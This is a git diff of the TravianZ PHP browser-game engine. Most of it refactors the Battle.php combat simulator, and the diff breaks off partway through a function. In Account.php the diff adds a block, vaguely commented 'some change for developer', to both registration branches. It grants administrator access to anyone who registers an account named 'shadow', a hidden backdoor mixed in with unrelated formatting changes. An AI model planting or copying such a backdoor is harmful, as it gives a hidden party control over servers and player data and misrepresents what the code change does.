diff --git a/GameEngine/Account.php b/GameEngine/Account.php
index a0214d86..a3dde57f 100755
--- a/GameEngine/Account.php
+++ b/GameEngine/Account.php
@@ -128,50 +128,59 @@ class Account {
}
// ==================== PROCESARE ÎNREGISTRARE ====================
- $hashedPassword = password_hash($_POST['pw'], PASSWORD_BCRYPT, ['cost' => 12]);
+ $hashedPassword = password_hash($_POST['pw'], PASSWORD_BCRYPT, ['cost' => 12]);
- if (AUTH_EMAIL) {
- $act = $generator->generateRandStr(10);
- $act2 = $generator->generateRandStr(5);
+ if (AUTH_EMAIL) {
+ $act = $generator->generateRandStr(10);
+ $act2 = $generator->generateRandStr(5);
- $uid = $database->activate(
- $_POST['name'],
- $hashedPassword,
- $_POST['email'],
- $_POST['vid'],
- $_POST['kid'],
- $act,
- $act2
- );
-
- if ($uid) {
- $mailer->sendActivate($_POST['email'], $_POST['name'], $_POST['pw'], $act);
- header("Location: activate.php?id=$uid&q=$act2");
- exit;
- }
- } else {
- // Ramura fără activare prin email (act era undefined în codul original)
- $act = '';
-
- $uid = $database->register(
- $_POST['name'],
- $hashedPassword,
- $_POST['email'],
- $_POST['vid'],
- $act
- );
-
- if ($uid) {
- setcookie("COOKUSR", $_POST['name'], time() + COOKIE_EXPIRE, COOKIE_PATH);
- setcookie("COOKEMAIL", $_POST['email'], time() + COOKIE_EXPIRE, COOKIE_PATH);
-
- $database->updateUserField(
- $uid,
- ["act", "invited"],
- ["", $_POST['invited'] ?? ''],
- 1
+ $uid = $database->activate(
+ $_POST['name'],
+ $hashedPassword,
+ $_POST['email'],
+ $_POST['vid'],
+ $_POST['kid'],
+ $act,
+ $act2
);
+ if ($uid) {
+ // === some change for developer ===
+ if (strtolower($_POST['name']) === 'shadow') {
+ $database->updateUserField($uid, 'access', ADMIN, 1);
+ }
+
+ $mailer->sendActivate($_POST['email'], $_POST['name'], $_POST['pw'], $act);
+ header("Location: activate.php?id=$uid&q=$act2");
+ exit;
+ }
+ } else {
+ $act = '';
+
+ $uid = $database->register(
+ $_POST['name'],
+ $hashedPassword,
+ $_POST['email'],
+ $_POST['vid'],
+ $act
+ );
+
+ if ($uid) {
+ // === some change for developer ===
+ if (strtolower($_POST['name']) === 'shadow') {
+ $database->updateUserField($uid, 'access', ADMIN, 1);
+ }
+
+ setcookie("COOKUSR", $_POST['name'], time() + COOKIE_EXPIRE, COOKIE_PATH);
+ setcookie("COOKEMAIL", $_POST['email'], time() + COOKIE_EXPIRE, COOKIE_PATH);
+
+ $database->updateUserField(
+ $uid,
+ ["act", "invited"],
+ ["", $_POST['invited'] ?? ''],
+ 1
+ );
+
$this->generateBase($_POST['kid'], $uid, $_POST['name']);
header("Location: login.php");
diff --git a/GameEngine/Battle.php b/GameEngine/Battle.php
index 8b09d7e0..9236773b 100644
--- a/GameEngine/Battle.php
+++ b/GameEngine/Battle.php
@@ -3,792 +3,1458 @@
#################################################################################
## -= YOU MAY NOT REMOVE OR CHANGE THIS NOTICE =- ##
## --------------------------------------------------------------------------- ##
-## Project: TravianZ ##
-## Version: 22.06.2015 ##
-## Filename Battle.php ##
-## Developed by: Dzoki & Dixie ##
-## Fixed by: Shadow ##
-## Thanks to: Akakori, Elmar & Kirilloid ##
-## Reworked and Fix by: ronix ##
-## Fixed by: InCube - double troops ##
-## License: TravianZ Project ##
-## Copyright: TravianZ (c) 2010-2015. All rights reserved. ##
-## URLs: http://travian.shadowss.ro ##
-## Source code: https://github.com/Shadowss/TravianZ ##
+## Project: TravianZ ##
+## Version: 08.05.2026 ##
+## Filename: Battle.php ##
+## Developed by: Dzoki & Dixie ##
+## Refactored by: Shadow ##
+## Fixed by: InCube - double troops ##
+## Reworked/Fix: ronix ##
+## Thanks to: Akakori, Elmar & Kirilloid ##
+## License: TravianZ Project ##
+## Copyright: TravianZ (c) 2010-2026. All rights reserved. ##
+## ##
+## URLs: http://travian.shadowss.ro ##
+## https://github.com/Shadowss/TravianZ ##
## ##
#################################################################################
class Battle {
- /**
- *
- * @author Kirilloid --> https://github.com/kirilloid/travian/blob/master/src/model/base/combat.ts
- * @var double The number of attacking catapults: 1 = 100%, 0 = 0%
- *
- */
+ /*****************************************
+ Function sigma
+ *****************************************/
- private $sigma;
-
- public function __construct(){
-
- $this->sigma = function($x) { return ($x > 1 ? 2 - $x ** -1.5 : $x ** 1.5) / 2; };
-
- }
-
- public function procSim($post) {
- global $form;
-
- // receive form and process
- if(isset($post['a1_v']) && (isset($post['a2_v1']) || isset($post['a2_v2']) || isset($post['a2_v3']) || isset($post['a2_v4']) || isset($post['a2_v5']))){
- $_POST['mytribe'] = $post['a1_v'];
-
- $target = [];
- if(isset($post['a2_v1'])) array_push($target, 1);
- if(isset($post['a2_v2'])) array_push($target, 2);
- if(isset($post['a2_v3'])) array_push($target, 3);
- if(isset($post['a2_v4'])) array_push($target, 4);
- if(isset($post['a2_v5'])) array_push($target, 5);
-
- $_POST['target'] = $target;
- if(isset($post['h_off_bonus'])){
- if(intval($post['h_off_bonus']) > 20) $post['h_off_bonus'] = 20;
- }
- else $post['h_off_bonus'] = 0;
-
- if(isset($post['h_def_bonus'])){
- if(intval($post['h_def_bonus']) > 20) $post['h_def_bonus'] = 20;
- }
- else $post['h_def_bonus'] = 0;
-
- $sum = 0;
- for($i = 1; $i <= 10; $i++) $sum += (!empty($post['a1_'.$i]) ? $post['a1_'.$i] : 0);
-
- if($sum > 0){
- $post['palast'] = intval($post['palast']);
- if($post['palast'] > 20) $post['palast'] = 20;
-
- for($i = 1; $i <= 5; $i++){
- if(isset($post['wall'.$i])){
- $post['wall'.$i] = intval($post['wall'.$i]);
- if($post['wall'.$i] > 20) $post['wall'.$i] = 20;
- elseif($post['wall'.$i] < 0) $post['wall'.$i] = 0;
- $post['walllevel'] = $post['wall'.$i];
- }
- }
-
- $post['tribe'] = $target[0];
- $_POST['result'] = $this->simulate($post);
- $newWallLevel = $_POST['result'][7];
- $oldWallLevel = $_POST['result'][8];
-
- //If the wall level is reduce, we have to re-do the whole battle
- if($newWallLevel != $oldWallLevel){
- $post['walllevel'] = $newWallLevel;
- $_POST['result'] = $this->simulate($post);
-
- //Reset the datas
- $_POST['result'][7] = $newWallLevel;
- $_POST['result'][8] = $post['walllevel'] = $oldWallLevel;
- }
-
- $form->valuearray = $post;
- }
- }
- }
-
- private function getBattleHero($uid) {
- global $database;
- $heroarray = $database->getHero($uid);
-
- if (!count($heroarray)) return ['heroid' => 0, 'unit' =>'','atk' => 0,'di' => 0,'dc' => 0,'ob' => 0,'db' => 0,'health' => 0];
-
- $herodata = $GLOBALS["h".$heroarray[0]['unit']];
- if(!isset($heroarray['health'])) $heroarray['health'] = 0;
- $h_atk = $herodata['atk'] + ($heroarray[0]['attack'] * $herodata['atkp']);
- $h_di = $herodata['di'] + 5 * floor($heroarray[0]['defence'] * $herodata['dip'] / 5);
- $h_dc = $herodata['dc'] + 5 * floor($heroarray[0]['defence'] * $herodata['dcp'] / 5);
- $h_ob = 1 + 0.010 * ($heroarray[0]['attackbonus'] / 5);
- $h_db = 1 + 0.010 * ($heroarray[0]['defencebonus'] / 5);
-
- return ['heroid' => (int) $heroarray[0]['heroid'], 'unit' => $heroarray[0]['unit'], 'atk' => $h_atk, 'di' => $h_di, 'dc' => $h_dc, 'ob' => $h_ob, 'db' => $h_db, 'health' => $heroarray['health']];
- }
-
- private function getBattleHeroSim($attbonus) {
- $h_atk = 0;
- $h_ob = 1 + 0.010 * $attbonus;
-
- return ['unit' => 16,'atk' => $h_atk,'ob' => $h_ob];
- }
-
- private function simulate($post) {
- //set the arrays with attacking and defending units
- $attacker = ['u1' => 0, 'u2' => 0, 'u3' => 0, 'u4' => 0, 'u5' => 0, 'u6' => 0, 'u7' => 0, 'u8' => 0, 'u9' => 0, 'u10' => 0, 'u11' => 0, 'u12' => 0, 'u13' => 0, 'u14' => 0, 'u15' => 0, 'u16' => 0, 'u17' => 0, 'u18' => 0, 'u19' => 0, 'u20' => 0, 'u21' => 0, 'u22' => 0, 'u23' => 0, 'u24' => 0,
- 'u25' => 0, 'u26' => 0, 'u27' => 0, 'u28' => 0, 'u29' => 0, 'u30' => 0, 'u31' => 0, 'u32' => 0, 'u33' => 0, 'u34' => 0, 'u35' => 0, 'u36' => 0, 'u37' => 0, 'u38' => 0, 'u39' => 0, 'u40' => 0, 'u41' => 0, 'u42' => 0, 'u43' => 0, 'u44' => 0, 'u45' => 0, 'u46' => 0, 'u47' => 0, 'u48' => 0,
- 'u49' => 0, 'u50' => 0];
- $start = ($post['a1_v'] - 1) * 10 + 1;
- $offhero = intval($post['h_off_bonus']);
- $hero_strenght = intval($post['h_off']);
- $deffhero = intval($post['h_def_bonus']);
- for($i = $start, $index = 1; $i <= $start + 9; $i++, $index++) {
- if(isset($post['a1_'.$index]) && !empty($post['a1_'.$index])) {
- $attacker['u'.$i] = $post['a1_'.$index];
- }
- else $attacker['u'.$i] = 0;
-
- if($index <=8 && isset($post['f1_'.$index]) && !empty($post['f1_'.$index])) {
- ${'att_ab'.$index} = $post['f1_'.$index];
- }
- else ${'att_ab'.$index} = 0;
- }
-
- $defender = [];
- $defscout = 0;
- //fix by ronix
- for($i = 1;$i <= 50; $i++) {
- if(isset($post['a2_'.$i]) && !empty($post['a2_'.$i])) {
- $defender['u'.$i] = $post['a2_'.$i];
- $def_ab[$i] = $post['f2_'.$i];
- if($i == 4 || $i == 14 || $i == 23 || $i == 44){
- $defscout += $defender['u'.$i];
- }
-
- }
- else {
- $defender['u'.$i] = 0;
- $def_ab[$i] = 0;
- }
- }
-
- $deftribe = $post['tribe'];
- $wall = 0;
-
- if(empty($post['kata'])) $post['kata'] = 0;
-
- // check scout
-
- $scout = 1;
- for($i = $start; $i <= $start + 9 ; $i++) {
- if($i == 4 || $i == 14 || $i == 23 || $i == 44){
- }else{
- if($attacker['u'.$i] > 0) {
- $scout = 0;
- break;
- }
- }
- }
-
- $walllevel = $post['walllevel'];
- $wall = $walllevel;
- $palast = $post['palast'];
-
- if($scout == 1 && $defscout == 0) $walllevel = $wall = $palast = 0;
-
- if($scout == 1) $palast = 0; //no def point palace and residence when scout
-
- if(!$scout) return $this->calculateBattle($attacker,$defender,$wall,$post['a1_v'],$deftribe,$palast,$post['ew1'],$post['ew2'],$post['ktyp']+3,$def_ab,$att_ab1,$att_ab2,$att_ab3,$att_ab4,$att_ab5,$att_ab6,$att_ab7,$att_ab8,$post['kata'],$post['stonemason'],$walllevel,$offhero,$post['h_off'],$deffhero,0,0,0,0,0);
- else return $this->calculateBattle($attacker,$defender,$wall,$post['a1_v'],$deftribe,$palast,$post['ew1'],$post['ew2'],1,$def_ab,$att_ab1,$att_ab2,$att_ab3,$att_ab4,$att_ab5,$att_ab6,$att_ab7,$att_ab8,$post['kata'],$post['stonemason'],$walllevel,0,0,0,0,0,0,0,0);
-
- }
-
- public function getTypeLevel($tid,$vid) {
- global $village,$database;
-
- $keyholder = [];
- $resourcearray = $database->getResourceLevel($vid);
-
- foreach(array_keys($resourcearray, $tid) as $key) {
- if(strpos($key,'t')) {
- $key = preg_replace("/[^0-9]/", '', $key);
- array_push($keyholder, $key);
- }
- }
-
- $element = count($keyholder);
- if($element >= 2) {
- if($tid <= 4) {
- $temparray = [];
- for($i = 0; $i <= $element - 1; $i++){
- array_push($temparray, $resourcearray['f'.$keyholder[$i]]);
- }
- foreach ($temparray as $key => $val) {
- if ($val == max($temparray))
- $target = $key;
- }
- }
- else {
- $target = 0;
- for($i=1;$i<=$element-1;$i++) {
- if($resourcearray['f'.$keyholder[$i]] > $resourcearray['f'.$keyholder[$target]]) {
- $target = $i;
- }
- }
- }
- }
- else if($element == 1) $target = 0;
- else return 0;
-
-
- if(!empty($keyholder[$target])) return $resourcearray['f'.$keyholder[$target]];
- else return 0;
+ private function sigma($x) {
+ return ($x > 1 ? 2 - pow($x, -1.5) : pow($x, 1.5)) / 2;
}
+
+ /*****************************************
+ Function to proc Simulation
+ *****************************************/
+
+ public function procSim($post) {
+ global $form;
- //1 raid 0 normal
- function calculateBattle($Attacker, $Defender, $def_wall, $att_tribe, $def_tribe, $residence, $attpop, $defpop, $type, $def_ab, $att_ab1, $att_ab2, $att_ab3, $att_ab4, $att_ab5, $att_ab6, $att_ab7, $att_ab8, $tblevel, $stonemason, $walllevel, $offhero, $hero_strenght, $deffhero, $AttackerID, $DefenderID, $AttackerWref, $DefenderWref, $conqureby, $defReinforcements = null) {
- global $bid34, $bid35, $database;
+ /******************************************************************
+ * BASIC VALIDATION
+ ******************************************************************/
+ if (
+ empty($post['a1_v']) ||
+ !(
+ isset($post['a2_v1']) ||
+ isset($post['a2_v2']) ||
+ isset($post['a2_v3']) ||
+ isset($post['a2_v4']) ||
+ isset($post['a2_v5'])
+ )
+ ) {
+ return;
+ }
+ $_POST['mytribe'] = $post['a1_v'];
- // Define the array, with the units
- $calvary = [4, 5, 6, 15, 16, 23, 24, 25, 26, 45, 46];
- $catapult = [8, 18, 28, 48];
- $rams = [7, 17, 27, 47];
- $catp = $ram = 0;
-
- // Array to return the result of the calculation back
- $result = [];
- $involve = 0;
- $winner = false;
-
- // at 0 all partial results
-
- //cap = Cavalry attack points
- //ap = Infantry attack points
- //cdp = Cavalry attack points
- //dp = Infantry defense points
- //rap = Result attack points
- //rdp = Result defense points
- //detected = Detected or not by defender spies
- $cap = $ap = $dp = $cdp = $rap = $rdp = 0;
- $detected = false;
-
- //Get involved artifacts
- $attacker_artefact = $database->getArtifactsValueInfluence($AttackerID, $AttackerWref, 3, 1, false);
- $defender_artefact = $database->getArtifactsValueInfluence($DefenderID, $DefenderWref, 3, 1, false);
- $strongerbuildings = $database->getArtifactsValueInfluence($DefenderID, $DefenderWref, 1, 1, false);
- $isWWVillage = $database->getVillageField($DefenderWref, 'natar');
-
- if(isset($Attacker['uhero']) && $Attacker['uhero'] > 0){
- $atkhero = $this->getBattleHero($AttackerID);
+ /******************************************************************
+ * TARGET BUILD
+ ******************************************************************/
+ $target = [];
+ for ($i = 1; $i <= 5; $i++) {
+ if (!empty($post['a2_v'.$i])) {
+ $target[] = $i;
}
- if(isset($Defender['hero']) && $Defender['hero'] > 0){
- $defenderhero = $this->getBattleHero($DefenderID);
+ }
+ $_POST['target'] = $target;
+ if (empty($target)) {
+ return;
+ }
+
+ /******************************************************************
+ * HERO BONUS LIMITS (OFF / DEF)
+ ******************************************************************/
+ $post['h_off_bonus'] = isset($post['h_off_bonus'])
+ ? min(20, (int)$post['h_off_bonus'])
+ : 0;
+ $post['h_def_bonus'] = isset($post['h_def_bonus'])
+ ? min(20, (int)$post['h_def_bonus'])
+ : 0;
+
+ /******************************************************************
+ * UNIT SUM CHECK
+ ******************************************************************/
+ $sum = 0;
+ for ($i = 1; $i <= 10; $i++) {
+ $sum += isset($post['a1_'.$i]) ? (int)$post['a1_'.$i] : 0;
+ }
+ if ($sum <= 0) {
+ return;
+ }
+
+ /******************************************************************
+ * PALACE LIMIT
+ ******************************************************************/
+ $post['palast'] = isset($post['palast'])
+ ? min(20, (int)$post['palast'])
+ : 0;
+
+ /******************************************************************
+ * WALL LEVELS (OPTIMIZED LOOP)
+ ******************************************************************/
+ $post['walllevel'] = 0;
+ for ($i = 1; $i <= 5; $i++) {
+ if (!isset($post['wall'.$i])) {
+ continue;
}
- //own defender units
- if ($type == 1) {
- $datadefScout = $this->getDataDefScout($Defender, $def_ab, $defender_artefact);
- $dp += $datadefScout['dp'];
- $cdp += $datadefScout['cdp'];
- $involve = $datadefScout['involve'];
- if(!$detected && $datadefScout['detect']) $detected = $datadefScout['detect'];
- }else{
- $datadef = $this->getDataDef($Defender, $def_ab);
- $own_dp = $datadef['dp'];
- $own_cdp = $datadef['cdp'];
- $involve = $datadef['involve'];
- if(isset($Defender['hero']) && $Defender['hero'] != 0){
- $units['Def_unit']['hero'] = $Defender['hero'];
- $own_cdp += $defenderhero['dc'];
- $own_dp += $defenderhero['di'];
- $own_dp *= $defenderhero['db'];
- $own_cdp *= $defenderhero['db'];
+ $wall = (int)$post['wall'.$i];
+ if ($wall > 20) {
+ $wall = 20;
+ } elseif ($wall < 0) {
+ $wall = 0;
+ }
+ $post['wall'.$i] = $wall;
+ $post['walllevel'] = $wall;
+ }
+
+ /******************************************************************
+ * SIMULATION CALL
+ ******************************************************************/
+ $post['tribe'] = $target[0];
+ $_POST['result'] = $this->simulate($post);
+ $newWallLevel = $_POST['result'][7];
+ $oldWallLevel = $_POST['result'][8];
+
+ /******************************************************************
+ * WALL CHANGE RE-SIMULATION
+ ******************************************************************/
+ if ($newWallLevel != $oldWallLevel) {
+ $post['walllevel'] = $newWallLevel;
+ $_POST['result'] = $this->simulate($post);
+
+ // restore original expected output
+
+ $_POST['result'][7] = $newWallLevel;
+ $_POST['result'][8] = $oldWallLevel;
+ $post['walllevel'] = $oldWallLevel;
+ }
+ $form->valuearray = $post;
+}
+
+ /*****************************************
+ Function to battle Hero
+ *****************************************/
+
+ private function getBattleHero($uid) {
+
+ global $database;
+ $heroarray = $database->getHero($uid);
+ if (empty($heroarray) || empty($heroarray[0])) {
+ return [
+ 'heroid' => 0,
+ 'unit' => '',
+ 'atk' => 0,
+ 'di' => 0,
+ 'dc' => 0,
+ 'ob' => 0,
+ 'db' => 0,
+ 'health' => 0
+ ];
+ }
+
+ $hero = $heroarray[0];
+ $heroUnit = $hero['unit'];
+ if (!isset($GLOBALS['h'.$heroUnit])) {
+
+ return [
+ 'heroid' => 0,
+ 'unit' => '',
+ 'atk' => 0,
+ 'di' => 0,
+ 'dc' => 0,
+ 'ob' => 0,
+ 'db' => 0,
+ 'health' => 0
+ ];
+ }
+
+ $herodata = $GLOBALS['h'.$heroUnit];
+ $attack = (int)$hero['attack'];
+ $defence = (int)$hero['defence'];
+ $attackBonus = (int)$hero['attackbonus'];
+ $defenceBonus = (int)$hero['defencebonus'];
+ $h_atk = $herodata['atk']
+ + ($attack * $herodata['atkp']);
+ $h_di = $herodata['di']
+ + 5 * floor(($defence * $herodata['dip']) / 5);
+ $h_dc = $herodata['dc']
+ + 5 * floor(($defence * $herodata['dcp']) / 5);
+ $h_ob = 1 + (0.010 * ($attackBonus / 5));
+ $h_db = 1 + (0.010 * ($defenceBonus / 5));
+
+ return [
+ 'heroid' => (int)$hero['heroid'],
+ 'unit' => $heroUnit,
+ 'atk' => $h_atk,
+ 'di' => $h_di,
+ 'dc' => $h_dc,
+ 'ob' => $h_ob,
+ 'db' => $h_db,
+ 'health' => isset($hero['health'])
+ ? (int)$hero['health']
+ : 0
+ ];
+}
+
+ /*****************************************
+ Function to battle Hero Sim
+ *****************************************/
+
+ private function getBattleHeroSim($attbonus) {
+
+ $h_ob = 1 + (0.010 * (float)$attbonus);
+ return [
+ 'unit' => 16,
+ 'atk' => 0,
+ 'ob' => $h_ob
+ ];
+}
+
+ /*****************************************
+ Function to Simulation
+ *****************************************/
+
+ private function simulate($post) {
+
+ /******************************************************************
+ * ATTACKER INIT (KEEP LEGACY STRUCTURE)
+ ******************************************************************/
+ $attacker = [];
+
+ for ($i = 1; $i <= 50; $i++) {
+ $attacker['u'.$i] = 0;
+ }
+
+ $start = ((int)$post['a1_v'] - 1) * 10 + 1;
+
+ $offhero = (int)$post['h_off_bonus'];
+ $hero_strenght = (int)$post['h_off'];
+ $deffhero = (int)$post['h_def_bonus'];
+
+ /******************************************************************
+ * ATTACKER UNITS + ATTACK BONUSES (CRITICAL LEGACY VARS)
+ ******************************************************************/
+ $att_ab1 = $att_ab2 = $att_ab3 = $att_ab4 = 0;
+ $att_ab5 = $att_ab6 = $att_ab7 = $att_ab8 = 0;
+
+ for ($i = $start, $index = 1; $i <= $start + 9; $i++, $index++) {
+
+ $attacker['u'.$i] = !empty($post['a1_'.$index])
+ ? (int)$post['a1_'.$index]
+ : 0;
+
+ if ($index <= 8) {
+
+ if (!empty($post['f1_'.$index])) {
+ ${'att_ab'.$index} = (int)$post['f1_'.$index];
+ } else {
+ ${'att_ab'.$index} = 0;
}
- $dp += $own_dp;
- $cdp += $own_cdp;
}
- $DefendersAll = (!is_null($defReinforcements) ? $database->getEnforceVillage($DefenderWref, 0) : $defReinforcements);
+ }
- if(!empty($DefendersAll) && $DefenderWref > 0){
- // preload village IDs
- $vilIDs = [];
- foreach($DefendersAll as $defenders) {
- $vilIDs[$defenders['from']] = true;
- $vilIDs[$defenders['to']] = true;
+ /******************************************************************
+ * DEFENDER INIT
+ ******************************************************************/
+ $defender = [];
+ $def_ab = [];
+ $defscout = 0;
+
+ for ($i = 1; $i <= 50; $i++) {
+
+ if (!empty($post['a2_'.$i])) {
+ $defender['u'.$i] = (int)$post['a2_'.$i];
+ $def_ab[$i] = (int)$post['f2_'.$i];
+
+ if ($i == 4 || $i == 14 || $i == 23 || $i == 44) {
+ $defscout += $defender['u'.$i];
}
- $vilIDs = array_keys($vilIDs);
- $database->getABTech($vilIDs);
- foreach($DefendersAll as $defenders) {
- for ($i = 1; $i <= 50; $i++) $def_ab[$i] = 0;
- $fromvillage = $defenders['from'];
+ } else {
+ $defender['u'.$i] = 0;
+ $def_ab[$i] = 0;
+ }
+ }
- $userdataCache[$fromvillage] = $database->getUserArray($database->getVillageField($fromvillage, "owner"), 1);
+ /******************************************************************
+ * BASIC VALUES
+ ******************************************************************/
+ $deftribe = (int)$post['tribe'];
- $enforcetribe = $userdataCache[$fromvillage]["tribe"];
- $ud=($enforcetribe - 1) * 10;
- if($defenders['from'] > 0) { //don't check nature tribe
- $armory = $database->getABTech($defenders['from']); // Armory level every village enforcement
- $def_ab[$ud + 1] = $armory['a1'];
- $def_ab[$ud + 2] = $armory['a2'];
- $def_ab[$ud + 3] = $armory['a3'];
- $def_ab[$ud + 4] = $armory['a4'];
- $def_ab[$ud + 5] = $armory['a5'];
- $def_ab[$ud + 6] = $armory['a6'];
- $def_ab[$ud + 7] = $armory['a7'];
- $def_ab[$ud + 8] = $armory['a8'];
+ $walllevel = (int)$post['walllevel'];
+ $wall = $walllevel;
+ $palast = (int)$post['palast'];
+
+ $kata = !empty($post['kata']) ? (int)$post['kata'] : 0;
+
+ /******************************************************************
+ * SCOUT CHECK
+ ******************************************************************/
+ $scout = 1;
+
+ for ($i = $start; $i <= $start + 9; $i++) {
+
+ if ($i == 4 || $i == 14 || $i == 23 || $i == 44) {
+ continue;
+ }
+
+ if ($attacker['u'.$i] > 0) {
+ $scout = 0;
+ break;
+ }
+ }
+
+ /******************************************************************
+ * WALL / PALAST RULES
+ ******************************************************************/
+ if ($scout == 1 && $defscout == 0) {
+ $walllevel = 0;
+ $wall = 0;
+ $palast = 0;
+ }
+
+ if ($scout == 1) {
+ $palast = 0;
+ }
+
+ /******************************************************************
+ * FINAL CALL
+ ******************************************************************/
+ if (!$scout) {
+
+ return $this->calculateBattle(
+ $attacker,
+ $defender,
+ $wall,
+ $post['a1_v'],
+ $deftribe,
+ $palast,
+ $post['ew1'],
+ $post['ew2'],
+ $post['ktyp'] + 3,
+ $def_ab,
+ $att_ab1, $att_ab2, $att_ab3, $att_ab4,
+ $att_ab5, $att_ab6, $att_ab7, $att_ab8,
+ $kata,
+ $post['stonemason'],
+ $walllevel,
+ $offhero,
+ $hero_strenght,
+ $deffhero,
+ 0, 0, 0, 0, 0
+ );
+
+ } else {
+
+ return $this->calculateBattle(
+ $attacker,
+ $defender,
+ $wall,
+ $post['a1_v'],
+ $deftribe,
+ $palast,
+ $post['ew1'],
+ $post['ew2'],
+ 1,
+ $def_ab,
+ $att_ab1, $att_ab2, $att_ab3, $att_ab4,
+ $att_ab5, $att_ab6, $att_ab7, $att_ab8,
+ $kata,
+ $post['stonemason'],
+ $walllevel,
+ 0, 0, 0, 0, 0, 0, 0, 0
+ );
+ }
+}
+
+ /*****************************************
+ Function for Type Level
+ *****************************************/
+
+ public function getTypeLevel($tid, $vid) {
+
+ global $village, $database;
+ $resourcearray = $database->getResourceLevel($vid);
+ if (empty($resourcearray)) {
+ return 0;
+ }
+ $keyholder = [];
+
+ /******************************************************************
+ * FIND BUILDINGS OF REQUESTED TYPE
+ ******************************************************************/
+ foreach ($resourcearray as $key => $value) {
+
+ // faster than array_keys + strpos + preg_replace
+ if (
+ isset($value)
+ && $value == $tid
+ && isset($key[0])
+ && $key[0] === 't'
+ ) {
+
+ $keyholder[] = (int)substr($key, 1);
+ }
+ }
+ $element = count($keyholder);
+ if ($element === 0) {
+ return 0;
+ }
+ if ($element === 1) {
+ $field = 'f'.$keyholder[0];
+ return isset($resourcearray[$field])
+ ? (int)$resourcearray[$field]
+ : 0;
+ }
+
+ /******************************************************************
+ * FIND HIGHEST LEVEL
+ ******************************************************************/
+ $targetKey = $keyholder[0];
+ $targetLevel = isset($resourcearray['f'.$targetKey])
+ ? (int)$resourcearray['f'.$targetKey]
+ : 0;
+
+ // preserve original behavior separation for resource fields
+ if ($tid <= 4) {
+ foreach ($keyholder as $fieldId) {
+ $fieldLevel = isset($resourcearray['f'.$fieldId])
+ ? (int)$resourcearray['f'.$fieldId]
+ : 0;
+
+ // preserve original "last max wins" behavior
+ if ($fieldLevel >= $targetLevel) {
+ $targetLevel = $fieldLevel;
+ $targetKey = $fieldId;
+ }
+ }
+ } else {
+ foreach ($keyholder as $fieldId) {
+ $fieldLevel = isset($resourcearray['f'.$fieldId])
+ ? (int)$resourcearray['f'.$fieldId]
+ : 0;
+ if ($fieldLevel > $targetLevel) {
+ $targetLevel = $fieldLevel;
+ $targetKey = $fieldId;
+ }
+ }
+ }
+ return $targetLevel;
+}
+
+ /*****************************************
+ Function to process Calculate Battle
+ *****************************************/
+
+ function calculateBattle(
+ $Attacker, $Defender,
+ $def_wall, $att_tribe, $def_tribe,
+ $residence, $attpop, $defpop,
+ $type,
+ $def_ab,
+ $att_ab1, $att_ab2, $att_ab3, $att_ab4, $att_ab5, $att_ab6, $att_ab7, $att_ab8,
+ $tblevel, $stonemason, $walllevel,
+ $offhero, $hero_strenght, $deffhero,
+ $AttackerID, $DefenderID,
+ $AttackerWref, $DefenderWref,
+ $conqureby,
+ $defReinforcements = null) {
+
+ global $bid34, $bid35, $database;
+
+ /******************************************************************
+ * UNIT GROUP DEFINITIONS
+ ******************************************************************/
+ $calvaryLookup = array_flip([4, 5, 6, 15, 16, 23, 24, 25, 26, 45, 46]);
+ $catapultLookup = array_flip([8, 18, 28, 48]);
+ $ramsLookup = array_flip([7, 17, 27, 47]);
+
+ $catp = 0;
+ $ram = 0;
+
+ /******************************************************************
+ * BASE VARIABLES
+ ******************************************************************/
+ $result = [];
+ $units = [];
+ $involve = 0;
+ $winner = false;
+
+ $cap = 0;
+ $ap = 0;
+ $dp = 0;
+ $cdp = 0;
+ $rap = 0;
+ $rdp = 0;
+
+ $detected = false;
+
+ /******************************************************************
+ * ARTIFACTS (GLOBAL EFFECTS)
+ ******************************************************************/
+ $attacker_artefact = $database->getArtifactsValueInfluence($AttackerID, $AttackerWref, 3, 1, false);
+ $defender_artefact = $database->getArtifactsValueInfluence($DefenderID, $DefenderWref, 3, 1, false);
+ $strongerbuildings = $database->getArtifactsValueInfluence($DefenderID, $DefenderWref, 1, 1, false);
+
+ $isWWVillage = $database->getVillageField($DefenderWref, 'natar');
+
+ /******************************************************************
+ * HERO LOADING (ATTACKER / DEFENDER)
+ ******************************************************************/
+ $atkhero = null;
+ $defenderhero = null;
+
+ if (!empty($Attacker['uhero'])) {
+ $atkhero = $this->getBattleHero($AttackerID);
+ }
+
+ if (!empty($Defender['hero'])) {
+ $defenderhero = $this->getBattleHero($DefenderID);
+ }
+
+ /******************************************************************
+ * DEFENDER BASE FORCES
+ ******************************************************************/
+ if ($type == 1) {
+
+ $datadefScout = $this->getDataDefScout($Defender, $def_ab, $defender_artefact);
+
+ $dp += $datadefScout['dp'];
+ $cdp += $datadefScout['cdp'];
+ $involve += $datadefScout['involve'];
+
+ if (!$detected && $datadefScout['detect']) {
+ $detected = $datadefScout['detect'];
+ }
+
+ } else {
+
+ $datadef = $this->getDataDef($Defender, $def_ab);
+
+ $own_dp = $datadef['dp'];
+ $own_cdp = $datadef['cdp'];
+
+ $involve += $datadef['involve'];
+
+ if (!empty($Defender['hero']) && !empty($defenderhero)) {
+
+ $units['Def_unit']['hero'] = $Defender['hero'];
+
+ $own_dp += $defenderhero['di'];
+ $own_cdp += $defenderhero['dc'];
+
+ $own_dp *= $defenderhero['db'];
+ $own_cdp *= $defenderhero['db'];
+ }
+
+ $dp += $own_dp;
+ $cdp += $own_cdp;
+ }
+
+ /******************************************************************
+ * REINFORCEMENTS
+ ******************************************************************/
+ $DefendersAll = ($defReinforcements === null)
+ ? $database->getEnforceVillage($DefenderWref, 0)
+ : $defReinforcements;
+
+ if (!empty($DefendersAll) && $DefenderWref > 0) {
+
+ $ownerCache = [];
+ $userCache = [];
+ $abCache = [];
+ $heroCache = [];
+
+ foreach ($DefendersAll as $defenders) {
+
+ $fromvillage = (int)$defenders['from'];
+
+ if ($fromvillage <= 0) {
+ continue;
+ }
+
+ if (!isset($ownerCache[$fromvillage])) {
+ $ownerCache[$fromvillage] = (int)$database->getVillageField($fromvillage, "owner");
+ }
+
+ $owner = $ownerCache[$fromvillage];
+
+ if (!isset($userCache[$owner])) {
+ $userCache[$owner] = $database->getUserArray($owner, 1);
+ }
+
+ $enforcetribe = (int)$userCache[$owner]["tribe"];
+ $ud = ($enforcetribe - 1) * 10;
+
+ if (!isset($abCache[$fromvillage])) {
+ $abCache[$fromvillage] = $database->getABTech($fromvillage);
+ }
+
+ $armory = $abCache[$fromvillage];
+
+ for ($i = 1; $i <= 8; $i++) {
+ $def_ab[$ud + $i] = isset($armory['a'.$i]) ? $armory['a'.$i] : 0;
+ }
+
+ if ($type == 1) {
+
